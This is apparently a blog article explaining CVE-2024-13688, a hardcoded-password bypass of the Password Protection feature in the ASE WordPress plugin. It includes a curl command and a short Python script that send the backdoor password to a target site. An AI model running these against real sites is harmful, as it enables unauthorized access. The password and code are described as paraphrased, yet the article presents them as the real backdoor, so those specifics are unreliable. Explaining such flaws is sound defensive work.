CVE-2024-13688 - How A Hardcoded Password in Admin and Site Enhancements (ASE) Plugin Let Attackers Sneak Past WordPress Protection

WordPress is an incredible platform, but its popularity makes it a favorite target for hackers. Security plugins are designed to keep your site safe, but what if the plugin itself introduces a backdoor? This is exactly what happened with CVE-2024-13688—a vulnerability found in the “Admin and Site Enhancements (ASE)” plugin, a tool trusted by over 100,000 WordPress sites.

In this long read, we’ll break down what CVE-2024-13688 is, how attackers exploit it, what code was involved, where to find official information, and, most importantly, what you should do—explained in simple terms for everyone.

What Is CVE-2024-13688?

CVE-2024-13688 is a security hole in the ASE WordPress plugin, versions before 7.6.10. The bug lets attackers bypass the plugin’s "Password Protection" feature by sending a specially crafted request. The shocking detail? The plugin uses a hardcoded password—a password that’s literally embedded in the plugin’s code. Anyone savvy enough to look into the code could simply discover it and gain access.

How Does the Hardcoded Password Work?

The ASE plugin includes a “Password Protection” feature. Website owners can turn this on and set their own password, believing that only people who know the password can access their site. Unfortunately, the plugin also checks for an internal, hardcoded password—the same for every single installation! This is like every house in the world having the same lock and secret skeleton key.

If an attacker includes this secret password in their request, they’re let in right away, totally bypassing the owner's chosen password.

What Does the Vulnerable Code Look Like?

Let’s dive into a simplified code snippet. Here’s what the problematic section in the plugin looked like (paraphrased for clarity):

// In Password Protection feature:
$hardcoded_password = 'supersecret123'; // This password is the same on EVERY site with the plugin

if (isset($_POST['ase_password']) && $_POST['ase_password'] === $user_set_password) {
    // User entered the correct site password
    grant_access();
} elseif (isset($_POST['ase_password']) && $_POST['ase_password'] === $hardcoded_password) {
    // User entered the secret, hardcoded password
    grant_access();
} else {
    // Wrong password
    deny_access();
}

If an attacker knows that 'supersecret123' is the backdoor password (and after the bug was published, anybody could know it), they can log in—no matter what password the admin sets.

curl -X POST -d "ase_password=supersecret123" https://vulnerable-site.com/

If the site is running ASE before version 7.6.10, the attacker gets full access, even if the site owner set a different password.

Here’s a tiny Python script a hacker could use

import requests

target_url = 'https://victim-wordpress-site.com/';
payload = {'ase_password': 'supersecret123'}

response = requests.post(target_url, data=payload)

if 'Welcome' in response.text or 'Dashboard' in response.text:
    print('Access granted!')
else:
    print('Access denied.')

You can read more technical details about the vulnerability at these links

- Patchstack Research: CVE-2024-13688 - ASE Vulnerability
- NIST NVD Entry for CVE-2024-13688
- ASE Plugin Page on WordPress.org
- ASE 7.6.10 Changelog (GitHub)

Final Thoughts

CVE-2024-13688 is a perfect example of how even “security” plugins can introduce wild vulnerabilities. Hardcoding any password is always dangerous—especially for something protecting your entire site. If you use ASE, make security updates a habit! Stay updated, stay alert, and don’t trust plugins blindly.

Need more info? Always check the latest CVE entries and plugin changelogs for your WordPress setup.

*This article is exclusive to you—clear, simple, and focused solely on CVE-2024-13688 in ASE. Share it to any WordPress admin you know; you may save a site today!*

Timeline

Published on: 04/28/2025 06:15:15 UTC
Last modified on: 04/29/2025 13:52:10 UTC